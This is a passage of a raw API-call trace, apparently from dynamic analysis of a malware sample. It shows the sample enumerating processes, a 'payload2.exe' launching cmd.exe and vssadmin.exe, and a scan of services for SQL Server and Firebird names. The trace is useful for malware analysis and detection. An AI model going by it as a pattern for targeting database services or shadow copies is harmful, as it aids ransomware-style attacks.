lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.334] lstrlenW (lpString="svchost.exe") returned 11 [0045.334] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.335] lstrlenW (lpString="svchost.exe") returned 11 [0045.335] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.336] lstrlenW (lpString="svchost.exe") returned 11 [0045.336] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.336] lstrlenW (lpString="svchost.exe") returned 11 [0045.336] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.337] lstrlenW (lpString="audiodg.exe") returned 11 [0045.337] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.338] lstrlenW (lpString="svchost.exe") returned 11 [0045.338] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.338] lstrlenW (lpString="svchost.exe") returned 11 [0045.338] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.339] lstrlenW (lpString="dwm.exe") returned 7 [0045.339] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.340] lstrlenW (lpString="explorer.exe") returned 12 [0045.340] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.340] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.340] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.341] lstrlenW (lpString="taskhost.exe") returned 12 [0045.341] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.342] lstrlenW (lpString="svchost.exe") returned 11 [0045.342] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.343] lstrlenW (lpString="taskeng.exe") returned 11 [0045.343] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.343] lstrlenW (lpString="taskhost.exe") returned 12 [0045.343] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0045.344] lstrlenW (lpString="presidential.exe") returned 16 [0045.344] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0045.345] lstrlenW (lpString="ol-filing.exe") returned 13 [0045.345] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0045.345] lstrlenW (lpString="overcome.exe") returned 12 [0045.345] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0045.346] lstrlenW (lpString="declinedreferral.exe") returned 20 [0045.346] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0045.347] lstrlenW (lpString="franciscotrack.exe") returned 18 [0045.347] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0045.347] lstrlenW (lpString="nicholas.exe") returned 12 [0045.347] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0045.496] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0045.496] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0045.497] lstrlenW (lpString="word.exe") returned 8 [0045.497] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0045.498] lstrlenW (lpString="semestermeta.exe") returned 16 [0045.498] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0045.498] lstrlenW (lpString="reflects.exe") returned 12 [0045.498] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0045.499] lstrlenW (lpString="beveragesradios.exe") returned 19 [0045.499] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0045.500] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0045.500] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0045.500] lstrlenW (lpString="ground.exe") returned 10 [0045.501] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0045.501] lstrlenW (lpString="least.exe") returned 9 [0045.501] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0045.502] lstrlenW (lpString="meetings.exe") returned 12 [0045.502] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0045.503] lstrlenW (lpString="wooltestimony.exe") returned 17 [0045.503] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0045.503] lstrlenW (lpString="inexpensive.exe") returned 15 [0045.503] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0045.504] lstrlenW (lpString="er-amd.exe") returned 10 [0045.504] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0045.505] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0045.505] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.505] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.505] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0045.506] lstrlenW (lpString="mobsync.exe") returned 11 [0045.506] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0045.507] lstrlenW (lpString="payload2.exe") returned 12 [0045.507] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.507] lstrlenW (lpString="cmd.exe") returned 7 [0045.507] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.508] lstrlenW (lpString="conhost.exe") returned 11 [0045.508] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.509] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.509] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0045.510] lstrlenW (lpString="VSSVC.exe") returned 9 [0045.510] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.510] lstrlenW (lpString="svchost.exe") returned 11 [0045.510] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0045.511] CloseHandle (hObject=0x1f8) returned 1 [0045.511] Sleep (dwMilliseconds=0x1f4) [0046.292] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f8c3a0 [0046.293] EnumServicesStatusExW (in: hSCManager=0x3f8c3a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0046.293] GetLastError () returned 0xea [0046.293] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0046.293] EnumServicesStatusExW (in: hSCManager=0x3f8c3a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0046.294] CloseServiceHandle (hSCObject=0x3f8c3a0) returned 1 [0046.294] lstrlenW (lpString="Appinfo") returned 7 [0046.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0046.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0046.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0046.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0046.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0046.294] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0046.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.294] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0046.294] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0046.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0046.294] lstrlenW (lpString="AudioSrv") returned 8 [0046.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0046.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0046.295] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0046.295] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0046.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0046.295] lstrlenW (lpString="BFE") returned 3 [0046.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0046.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0046.295] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0046.295] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0046.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0046.295] lstrlenW (lpString="CryptSvc") returned 8 [0046.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0046.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0046.295] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0046.295] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0046.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0046.295] lstrlenW (lpString="CscService") returned 10 [0046.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0046.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0046.295] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0046.295] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0046.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0046.295] lstrlenW (lpString="DcomLaunch") returned 10 [0046.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0046.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0046.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0046.296] lstrlenW (lpString="Dhcp") returned 4 [0046.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0046.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0046.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0046.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0046.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0046.296] lstrlenW (lpString="Dnscache") returned 8 [0046.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0046.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0046.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0046.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0046.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0046.296] lstrlenW (lpString="DPS") returned 3 [0046.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0046.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0046.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0046.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0046.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0046.296] lstrlenW (lpString="eventlog") returned 8 [0046.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0046.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0046.296] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0046.296] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0046.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0046.296] lstrlenW (lpString="EventSystem") returned 11 [0046.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0046.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0046.296] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0046.297] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0046.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0046.297] lstrlenW (lpString="gpsvc") returned 5 [0046.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0046.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0046.297] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0046.297] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0046.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0046.297] lstrlenW (lpString="iphlpsvc") returned 8 [0046.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.297] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0046.297] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0046.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0046.297] lstrlenW (lpString="LanmanServer") returned 12 [0046.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0046.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0046.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0046.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0046.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0046.297] lstrlenW (lpString="LanmanWorkstation") returned 17 [0046.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0046.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0046.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0046.297] lstrlenW (lpString="lmhosts") returned 7 [0046.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0046.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0046.297] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0046.297] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0046.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0046.297] lstrlenW (lpString="MMCSS") returned 5 [0046.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0046.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0046.298] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0046.298] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0046.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0046.298] lstrlenW (lpString="MpsSvc") returned 6 [0046.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0046.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0046.298] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0046.298] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0046.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0046.298] lstrlenW (lpString="Netman") returned 6 [0046.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0046.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0046.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0046.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0046.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0046.298] lstrlenW (lpString="netprofm") returned 8 [0046.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0046.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0046.298] lstrcmpiW (lpString1="sqlwriter", 